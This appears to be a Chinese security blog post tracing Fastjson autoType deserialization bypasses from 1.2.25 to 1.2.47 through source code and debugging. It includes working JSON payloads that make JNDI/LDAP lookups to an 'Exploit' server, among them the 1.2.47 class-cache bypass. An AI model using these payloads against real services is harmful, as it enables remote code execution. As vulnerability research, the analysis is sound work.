序言
百川东到海,何时复西归?
这一篇来总结Fastjson不同版本的bypass方式。
1.2.24漏洞修复
在1.2.25版本,针对1.2.24版本进行了修复。
我们可以总结以下1.2.24版本的漏洞产生原因:
@type
该关键词的特性会加载任意类,并给提供的输入字段的值进行恢复,如果字段有setter、getter方法会自动调用该方法,进行赋值,恢复出整个类。
这个过程会被叫做Fastjson的反序列化过程,注意不要把这个过程跟java反序列化过程混为一谈。它们两个是同等级的存在,而不是前者基于后者之上。也就是说readObject()反序列化利用点那一套在这根本不适用。相应的被屏蔽的type加载任意类+符合条件的setter与getter变成了反序列化利用点。- 在找到可以调用的setter、getter之后,从这个可以被触发的setter、getter之后就可以沿着不同的反序列化利用链前进,比如具有一定限制条件的TemplatesImpl利用链,JNDI注入的利用链。
- 沿着链就会到最后的payload触发点。比如JNDI的远程恶意class文件的实例化操作(构造函数,静态方法)或调用类中getObjectInstance方法,与TemplatesImpl利用链中的class文件字节码的的实例化操作(构造函数,静态方法)。
可以注意到最终的payload触发点具有好像是巧合的统一性,都类似于是一个class文件的实例化操作。在commons-collections中则是反射机制(这在@type中的getter、setter函数调用中也被用到)。应该对这两个点产生敏感性。
修复则是针对三要素中的一者进行截断。在1.2.25中的修复原理就是针对了反序列化漏洞触发点进行限制。对于被屏蔽的type
标签进行一个白名单+黑名单的限制机制。
使用万能的idea对两个版本的jar包进行对比:
可以注意到,在解析json串的DefaultJSONParser类
中做了一行代码的修改。当输入的键值是@type
时,原本直接对值对应的类进行加载。现在会将值ref传入checkAutoType方法
中。
checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport
。参考官方wiki
Fastjson默认AutoTypeSupport为False(开启白名单机制),通过需要服务端通过以下代码来显性修改:
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); (关闭白名单机制) |
可见,false为禁止自动转换,true为允许自动转换。
由于checkAutoType中两条路线的代码是穿插的,先来看默认AutoTypeSupport
为False时的代码。
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
大体流程就是先过黑名单,再过白名单,要是都不适配,最后也会报错。
可以得出在默认的AutoTypeSupport
为False时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载。
看一下默认黑名单,默认白名单(最下面,默认为空)
这条路完全被白名单堵死了,所以默认的情况下是不可能绕过的。我们的两个payload也都被com.sun这一条黑名单给匹配了。
1.2.25-1.2.41绕过
所以接下来所谓的绕过都是在服务端显性开启AutoTypeSupport为True
的情况下进行的。(这是一个很大的限制条件)
我们先来看显性修改AutoTypeSupport为True
时的代码:
1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(关闭白名单机制) 也就是true。
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
可见在显性关闭白名单的情况下,也需要绕过黑名单检测,同时加载的类不能继承自Classloader与DataSource。
看似只能找到其他的利用类跟黑名单进行硬刚。但再跟一下类的加载TypeUtils.loadClass
就会有所发现。
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
如果这个className是以
[
开头我们会去掉[
进行加载!但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。
如果这个className是以
L
开头;
结尾,就会去掉开头和结尾进行加载!
那么加上L
开头;
结尾实际上就可以绕过所有黑名单。那么理所当然的payload就为:
1 | LDAP: |
关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;
/Lcom.sun.rowset.RowSetImpl;
注意是要开启AutoTypeSupport的,添加以下代码就ok了:
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
直接运行即可绕过checkAutoType()黑名单实现弹计算器:
绕过分析
我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤。
下面我们调试分析看看为啥会绕过。
我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验:
再往下开始调用TypeUtils.loadClass():
跟进TypeUtils.loadClass()函数,这里我们在之前的文章中年已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过:
1.2.42 漏洞修复
自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单:
从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
目前已知的哈希黑名单的对应表如下:
version | hash | hex-hash | name |
---|---|---|---|
1.2.42 | -8720046426850100497 | 0x86fc2bf9beaf7aefL | org.apache.commons.collections4.comparators |
1.2.42 | -8109300701639721088 | 0x8f75f9fa0df03f80L | org.python.core |
1.2.42 | -7966123100503199569 | 0x9172a53f157930afL | org.apache.tomcat |
1.2.42 | -7766605818834748097 | 0x9437792831df7d3fL | org.apache.xalan |
1.2.42 | -6835437086156813536 | 0xa123a62f93178b20L | javax.xml |
1.2.42 | -4837536971810737970 | 0xbcdd9dc12766f0ceL | org.springframework. |
1.2.42 | -4082057040235125754 | 0xc7599ebfe3e72406L | org.apache.commons.beanutils |
1.2.42 | -2364987994247679115 | 0xdf2ddff310cdb375L | org.apache.commons.collections.Transformer |
1.2.42 | -1872417015366588117 | 0xe603d6a51fad692bL | org.codehaus.groovy.runtime |
1.2.42 | -254670111376247151 | 0xfc773ae20c827691L | java.lang.Thread |
1.2.42 | -190281065685395680 | 0xfd5bfc610056d720L | javax.net. |
1.2.42 | 313864100207897507 | 0x45b11bc78a3aba3L | com.mchange |
1.2.42 | 1203232727967308606 | 0x10b2bdca849d9b3eL | org.apache.wicket.util |
1.2.42 | 1502845958873959152 | 0x14db2e6fead04af0L | java.util.jar. |
1.2.42 | 3547627781654598988 | 0x313bb4abd8d4554cL | org.mozilla.javascript |
1.2.42 | 3730752432285826863 | 0x33c64b921f523f2fL | java.rmi |
1.2.42 | 3794316665763266033 | 0x34a81ee78429fdf1L | java.util.prefs. |
1.2.42 | 4147696707147271408 | 0x398f942e01920cf0L | com.sun. |
1.2.42 | 5347909877633654828 | 0x4a3797b30328202cL | java.util.logging. |
1.2.42 | 5450448828334921485 | 0x4ba3e254e758d70dL | org.apache.bcel |
1.2.42 | 5751393439502795295 | 0x4fd10ddc6d13821fL | java.net.Socket |
1.2.42 | 5944107969236155580 | 0x527db6b46ce3bcbcL | org.apache.commons.fileupload |
1.2.42 | 6742705432718011780 | 0x5d92e6ddde40ed84L | org.jboss |
1.2.42 | 7179336928365889465 | 0x63a220e60a17c7b9L | org.hibernate |
1.2.42 | 7442624256860549330 | 0x6749835432e0f0d2L | org.apache.commons.collections.functors |
1.2.42 | 8838294710098435315 | 0x7aa7ee3627a19cf3L | org.apache.myfaces.context.servlet |
1.2.43 | -2262244760619952081 | 0xe09ae4604842582fL | java.net.URL |
1.2.46 | -8165637398350707645 | 0x8eadd40cb2a94443L | junit. |
1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
1.2.46 | -7921218830998286408 | 0x92122d710e364fb8L | org.osjava.sj. |
1.2.46 | -7768608037458185275 | 0x94305c26580f73c5L | org.apache.log4j. |
1.2.46 | -6179589609550493385 | 0xaa3daffdb10c4937L | org.logicalcobwebs. |
1.2.46 | -5194641081268104286 | 0xb7e8ed757f5d13a2L | org.apache.logging. |
1.2.46 | -3935185854875733362 | 0xc963695082fd728eL | org.apache.commons.dbcp |
1.2.46 | -2753427844400776271 | 0xd9c9dbf6bbd27bb1L | com.ibatis.sqlmap.engine.datasource |
1.2.46 | -1589194880214235129 | 0xe9f20bad25f60807L | org.jdom. |
1.2.46 | 1073634739308289776 | 0xee6511b66fd5ef0L | org.slf4j. |
1.2.46 | 5688200883751798389 | 0x4ef08c90ff16c675L | javassist. |
1.2.46 | 7017492163108594270 | 0x616323f12c2ce25eL | oracle.net |
1.2.46 | 8389032537095247355 | 0x746bd4a53ec195fbL | org.jaxen. |
1.2.48 | 1459860845934817624 | 0x144277b467723158L | java.net.InetAddress |
1.2.48 | 8409640769019589119 | 0x74b50bb9260e31ffL | java.lang.Class |
1.2.49 | 4904007817188630457 | 0x440e89208f445fb9L | com.alibaba.fastjson.annotation |
1.2.59 | 5100336081510080343 | 0x46c808a4b5841f57L | org.apache.cxf.jaxrs.provider. |
1.2.59 | 6456855723474196908 | 0x599b5c1213a099acL | ch.qos.logback. |
1.2.59 | 8537233257283452655 | 0x767a586a5107feefL | net.sf.ehcache.transaction.manager. |
1.2.60 | 3688179072722109200 | 0x332f0b5369a18310L | com.zaxxer.hikari. |
1.2.61 | -4401390804044377335 | 0xc2eb1e621f439309L | flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor |
1.2.61 | -1650485814983027158 | 0xe9184be55b1d962aL | org.apache.openjpa.ee. |
1.2.61 | -1251419154176620831 | 0xeea210e8da2ec6e1L | oracle.jdbc.rowset.OracleJDBCRowSet |
1.2.61 | -9822483067882491 | 0xffdd1a80f1ed3405L | com.mysql.cj.jdbc.admin. |
1.2.61 | 99147092142056280 | 0x1603dc147a3e358L | oracle.jdbc.connector.OracleManagedConnectionFactory |
1.2.61 | 3114862868117605599 | 0x2b3a37467a344cdfL | org.apache.ibatis.parsing. |
1.2.61 | 4814658433570175913 | 0x42d11a560fc9fba9L | org.apache.axis2.jaxws.spi.handler. |
1.2.61 | 6511035576063254270 | 0x5a5bd85c072e5efeL | jodd.db.connection. |
1.2.61 | 8925522461579647174 | 0x7bddd363ad3998c6L | org.apache.commons.configuration.JNDIConfiguration |
1.2.62 | -9164606388214699518 | 0x80d0c70bcc2fea02L | org.apache.ibatis.executor. |
1.2.62 | -8649961213709896794 | 0x87f52a1b07ea33a6L | net.sf.cglib. |
1.2.62 | -5764804792063216819 | 0xafff4c95b99a334dL | com.mysql.cj.jdbc.MysqlDataSource |
1.2.62 | -4438775680185074100 | 0xc2664d0958ecfe4cL | aj.org.objectweb.asm. |
1.2.62 | -3319207949486691020 | 0xd1efcdf4b3316d34L | oracle.jdbc. |
1.2.62 | -2192804397019347313 | 0xe1919804d5bf468fL | org.apache.commons.collections.comparators. |
1.2.62 | -2095516571388852610 | 0xe2eb3ac7e56c467eL | net.sf.ehcache.hibernate. |
1.2.62 | 4750336058574309 | 0x10e067cd55c5e5L | com.mysql.cj.log. |
1.2.62 | 218512992947536312 | 0x3085068cb7201b8L | org.h2.jdbcx. |
1.2.62 | 823641066473609950 | 0xb6e292fa5955adeL | org.apache.commons.logging. |
1.2.62 | 1534439610567445754 | 0x154b6cb22d294cfaL | org.apache.ibatis.reflection. |
1.2.62 | 1818089308493370394 | 0x193b2697eaaed41aL | org.h2.server. |
1.2.62 | 2164696723069287854 | 0x1e0a8c3358ff3daeL | org.apache.ibatis.datasource. |
1.2.62 | 2653453629929770569 | 0x24d2f6048fef4e49L | org.objectweb.asm. |
1.2.62 | 2836431254737891113 | 0x275d0732b877af29L | flex.messaging.util.concurrent. |
1.2.62 | 3089451460101527857 | 0x2adfefbbfe29d931L | org.apache.ibatis.javassist. |
1.2.62 | 3718352661124136681 | 0x339a3e0b6beebee9L | org.apache.ibatis.ognl. |
1.2.62 | 4046190361520671643 | 0x3826f4b2380c8b9bL | com.mysql.cj.jdbc.MysqlConnectionPoolDataSource |
1.2.62 | 6280357960959217660 | 0x5728504a6d454ffcL | org.apache.ibatis.scripting. |
1.2.62 | 6734240326434096246 | 0x5d74d3e5b9370476L | com.mysql.cj.jdbc.MysqlXADataSource |
1.2.62 | 7123326897294507060 | 0x62db241274397c34L | org.apache.commons.collections.functors. |
1.2.62 | 8488266005336625107 | 0x75cc60f5871d0fd3L | org.apache.commons.configuration |
目前未知的哈希黑名单:
version | hash | hex-hash | name |
---|---|---|---|
1.2.42 | 33238344207745342 | 0x761619136cc13eL | |
1.2.62 | -6316154655839304624 | 0xa85882ce1044c450L | |
1.2.62 | -5472097725414717105 | 0xb40f341c746ec94fL | |
1.2.62 | -4608341446948126581 | 0xc00be1debaf2808bL | |
1.2.62 | 3256258368248066264 | 0x2d308dbbc851b0d8L | |
1.2.62 | 4841947709850912914 | 0x43320dc9d2ae0892L | |
1.2.62 | 6534946468240507089 | 0x5ab0cb3071ab40d1L |
关键是在ParserConfig.java
中修改了以下两点:
- 修改明文黑名单为黑名单hash
- 对于传入的类名,删除开头
L
和结尾的;
对于第二点,仔细跟进去看一下:
1 | // hash算法常量 |
确实有效的干掉了L开头;结尾的payload。
1.2.42 绕过
但是在以上的处理中,发现只删除了一次开头的L
和结尾的;
,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,重复一下就可以被轻易的绕过。所以payload如下:
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;
在1.2.22-1.2.42版本运行都能成功触发:
绕过分析
自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单:
1 | denyHashCodes = new long[]{-8720046426850100497L,-8109300701639721088L,-7966123100503199569L,-7766605818834748097L,-6835437086156813536L,-4837536971810737970L,-4082057040235125754L,-2364987994247679115L,-1872417015366588117L,-254670111376247151L,-190281065685395680L,33238344207745342L,313864100207897507L,1203232727967308606L,1502845958873959152L,3547627781654598988L,3730752432285826863L,3794316665763266033L,4147696707147271408L,5347909877633654828L,5450448828334921485L,5751393439502795295L,5944107969236155580L,6742705432718011780L,7179336928365889465L,7442624256860549330L,8838294710098435315L}; |
在checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作:
但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。
后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;
进行denyList黑名单过滤,也就顺利绕过了。
注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;
。
为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名。
1.2.43 漏洞修复
在1.2.43中对于1.2.42版本可绕过的情况进行了修复。
修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)
的部分代码:
1 | //hash计算基础参数 |
可见就对了LL开头的绕过进行了封堵。
至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了(暂时)。在服务端放开白名单限制的情况下也绕不过黑名单。更别说服务端默认是开启白名单的,这时候fastjson的风险已经很小了。
之后就是不断有新的组件作为利用链引入进行攻击,和黑名单的不断扩充之间的拉锯战。(之前也说过着一切都是在显性关闭白名单的情况下)
1.2.43 绕过
之前在类的加载TypeUtils.loadClass
发现有两种特殊处理方式:
- 如果这个className是以
[
开头我们会去掉[
进行加载! - 如果这个className是以
L
开头;
结尾,就会去掉开头和结尾进行加载!
之前版本都是主攻第二种,这里的绕过方式就是针对的第一种,也就是针对[
的骚操作。
先直接上payload嗷:
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
关键PoC:[com.sun.rowset.JdbcRowSetImpl
但是如果我们一开始payload直接这样写是会报错的:
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
因此改下payload,在第一个逗号前面加个”[“:
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} |
继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43 |
因此就修改得到最终版payload,能够成功触发:
绕过分析
在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:
解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化了:
在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里:
1.2.44 漏洞修复
修补了上面的[
利用方式。
直接抛异常,难受住,家人们;
1.2.44 绕过
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
maven:
1 | <!-- https://mvnrepository.com/artifact/org.mybatis/mybatis --> |
直接给出payload,要连LDAP或RMI都可以:
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}} |
关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.45的版本中可以看到:
version | hash | hex-hash | name |
---|---|---|---|
1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
黑名单封堵呢,其实是一个动态的过程,会有很多新增的jar包,如果服务端引入了这些额外的jar包,就会引入一条可利用链,,或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下,才有的问题。
之后更新的版本比如1.2.46也都在补充黑名单。
运行即可成功触发,害怕!:
绕过分析
由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。
继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。
由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。
直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup()
,其中参数由我们输入的properties属性中的data_source值获取的,这里面还是需要调试时候直接断点跳转的:
之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。
函数调用栈如下:
1 | <init>:10, Exploit |
1.2.47 通杀!
我们在分析1.2.47时,将从一个挖掘0day的角度去一步步分析,企图复现这个漏洞的挖掘过程,不然正向看,不得劲。payload在最后给出。
我们重新来理一下com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)
这个阻挠我们的方法,上面我们提到过白名单开关时我们走的是不一样的路线,还在注释中提到会有一些固定类型的判断,这就是通杀payload的关键。
我们接下来看的是1.2.47版本的包,我们看总结后的代码结构:
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { |
仔细分析了一下,可以发现无论是白名单开启与否,我们的恶意类都要想办法必须要从第8步的return clazz
出去才有机会。
- 因为白名单关闭(手动)时,我们如果进入第九步,会百分百跟黑名单正面撞上,必然被杀。我们只能在这之前溜出去,机会就在6,7步中。
- 白名单开启时(默认),虽然在第五步时,我们也会跟黑名单撞上,但是却莫名其妙的会有一线生机,只要满足
TypeUtils.getClassFromMapping(typeName) != null
(是!=)反而可以从黑名单中逃开。然后从第八步中return出去。
那往之前看clazz可以从哪里赋值,5、6、7三个地方,但是5是白名单匹配才返回。这不可能。
于是开始关注6,7这两个操作到底是干啥的,(其实根据已知白名单开不开都通杀的特性,肯定是在第6步TypeUtils.getClassFromMapping
中得到的恶意类,但是这边都瞅瞅,后面也会用到)
- TypeUtils.getClassFromMapping(typeName)
- deserializers.findClass(typeName)
deserializers.findClass(typeName)
先看desesrializers,一个hashmap
1 | private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>(); |
因为我们是从中取值,关注一下它是在哪里赋值的,发现是在initDeserializers
里面赋值的:
initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类。理所当然不会包含我们的利用类。
除此之外还有两个函数会影响到desesrializers这个map:
- getDeserializer
1 | com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) |
这个函数里面是会往deserializers这个mapping中放入一些特定类:java.awt.*
、java.time.*
、java.util.Optional*
、java.nio.file.Path
、Map.Entry.class
、以及在服务器META-INF/services/
目录下存放的class文件,还有枚举类的一些判断。对于一些数组,集合,map等再调用putDesserializer
(这也是另一个会影响到desesrializers这个map的类)放入deserializers这个mapping中。
在这个类中对于类名有着严格的要求和限定,不太行。看下一个。
- putDeserializer
1 | com.alibaba.fastjson.parser.ParserConfig#putDeserializer |
代码极其简单,但是只在ParserConfig#getDeserializer
和initJavaBeanDeserializers
类中使用过。但是后者是一个初始化函数,我们同样不可控输入值。
那么我们好像发现我们的输入不可以改变deserializers这个mapping的值,从而自然也不能进一步在checkAutoType中被get读取出来,也就绕过不了。
这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度。
那换一条路看看TypeUtils.getClassFromMapping(typeName)
。
TypeUtils.getClassFromMapping(typeName)
先看getClassFromMapping
:
1 | //这个map是一个hashmap |
按照套路去寻找影响这个mappings的put方法。搜索mappings.put
,在下面这两个方法中有找到:
1 | com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings |
看addBaseClassMappings
这个方法,它是一个没有传参的方法….这样我们就没有一个可控的参数去控制其中的内容。
前者是一个static静态代码块:
1 | static{ |
后者是一个clearClassMapping
方法:
1 | public static void clearClassMapping(){ |
没戏,不可控。
再看另一个有mappings.put的位置TypeUtils.loadClass
,我们需要详细看看这个方法:
1 | public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { |
可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)。
看看这个函数在什么地方被引用。
在这里面只需要找到符合条件的即可,也就是第三个参数cache=true,发现在1206行,跳转过去看:
但跟进去发现这里是在调用自己内部本身,继续依次看,发现一个敏感接口:
1 | /com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334 |
跟进去执行分析:
1 | public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { |
那么经过分析,我们可以得到的关注点又跑到parser.resolveStatus
这上面来了
当
parser.resolveStatus == TypeNameRedirect
我们需要json串中有一个“val”:”恶意类名”,来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。所以一个json串的格式大概为
"@type"="java.lang.Class","val":"恶意类名"
这样一个东西,大概如此。当
parser.resolveStatus != TypeNameRedirect
进入if判断的false中,可以直接污染objVal。再加上clazz=class类,大概需要一个json串如下:
"被屏蔽的type"="java.lang.Class","恶意类名"
。
至于哪里调用了MiscCodec.java#deserialze
,查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)-384行
定向构造payload
那么在得到如上信息中,我们就不必一直大海摸虾。之前拿到了两个分支paylaod,拿一个可能的paylaod,试试水看看能不能往TypeUtils.getClassFromMapping(typeName)里面的mapping污染我们的恶意类。
1 | { |
先是日常进入解析主要函数com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
这里有我们的三个在乎的点,如下顺序:
1 | public final Object parseObject(final Map object, Object fieldName) { |
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)
这个分析过了。
step out之后继续跟进,可以看到,给ResolveStatus赋值了TypeNameRedirect,这样到deserialze里面就可以确定了分支,与预计吻合。
继续跟,就到了第三个关注点deserialize函数:
果断跟进去!
继续跟,恶意类被解析赋值!
跳过后续的一堆if判断,来到符合条件的clazz对象,跟进去:
默认的cache为true,接下来就会进入三个mapping.put条件,跟下去,看看哪个能触发:
第一个,发现classloader是null,被skip掉了。
来到第二个,跟进去,发现被加入到map中了,sum+1:
第二个if中,帮我们加载了一个classloader,再因为上一层的cache默认为true,就真的执行成功了mappings.put
放入了我们的恶意类名!
完美穿针引线,一环扣一环,往mappings中加入了我们的恶意类。
老习惯,附上调用栈:
定稿payload
之前看到其他博客说,一开始payload是分成两截,因为服务器的mappings自从加过恶意类之后,就会一直保持,然后就可以随便打了。
但是之后为了不让负载均衡,平摊payload造成有几率失败,就变成了下面这个:
1 | { |
payload:
1 | public class JdbcRowSetImplPoc { |
本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。
绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。
回顾一下审计的过程:
我们进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
- checkAutoType方法拿到Class.class
- 设置了ResolveStatus为TypeNameRedirect,决定了之后deserialze中的if走向
- 进入deserializer.deserialze
com.alibaba.fastjson.serializer.MiscCodec#deserialze
- parser.resolveStatus为TypeNameRedirect,进入if为true走向
- 解析”val”:”恶意类名”,放入objVal,再传递到strVal
- 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
- 添加默认cache为true,调用loadClass
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
- 三个改变mappings的第一处,由于classLoader=null,不进入
- 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。
关于AutoTypeSupport
可以看到实际上还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。
但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
调试分析
受AutoTypeSupport影响的版本
受AutoTypeSupport影响的版本为1.2.25-1.2.32,本次调试的是1.2.25版本。
开启AutoTypeSupport时
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
发现报错:
调试发现,在第一部分JSON数据的解析中,checkAutoType()函数的处理过程和前面是差不多的。能够成功通过该函数的检测,因此问题不在这,继续往下调试。
在第二部分JSON数据的解析中,@type指向的”com.sun.rowset.JdbcRowSetImpl”在checkAutoType()函数中会被dentList黑名单中的”com.sun.”匹配到,因此会直接报错显示不支持:
未开启AutoTypeSupport时
当不开启AutoTypeSupport时就不会进入该黑白名单校验的代码逻辑中,就不会被过滤报错。
这里,我们换个不受AutoTypeSupport影响的且未使用哈希黑名单的版本来方便我们进行对比查看,这里选了1.2.33,看下checkAutoType()中对应的代码:
对比黑名单校验的if判断语句条件就知道了,为什么后面的版本不受影响,那是因为通过&&
多添加了一个判断条件TypeUtils.getClassFromMapping(typeName) == null
,但是第二部分JSON内容中的类已经通过第一部分解析的时候加载到Map中缓存了,因此该条件不成立从而成功绕过:
1 | // 受AutoTypeSupport影响的版本 |
不受AutoTypeSupport影响的版本
不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。
未开启AutoTypeSupport时
在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。
在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回:
往下调试,调用到MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量:
接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类:
在TypeUtils.loadClass()函数中,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会将其缓存在Map中:
在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测:
开启AutoTypeSupport
由前面知道,开启AutoTypeSupport后,在checkAutoType()函数中会进入黑白名单校验的代码逻辑。
在第一部分JSON数据的扫描解析中,由于@type指向java.lang.Class,因此即使是开启AutoTypeSupport先后进行白名单、黑名单校验的情况下都能成功通过检测,之后和前面的一样调用findClass()函数获取到Class类:
关键在于第二部分JSON数据的扫描解析。第二部分的@type指向的是利用类”com.sun.rowset.JdbcRowSetImpl”,其中的”com.sun.”是在denyList黑名单中的,但是为何在检测时能成功绕过呢?
我们调试发现,逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的:
1 | if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { |
第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0
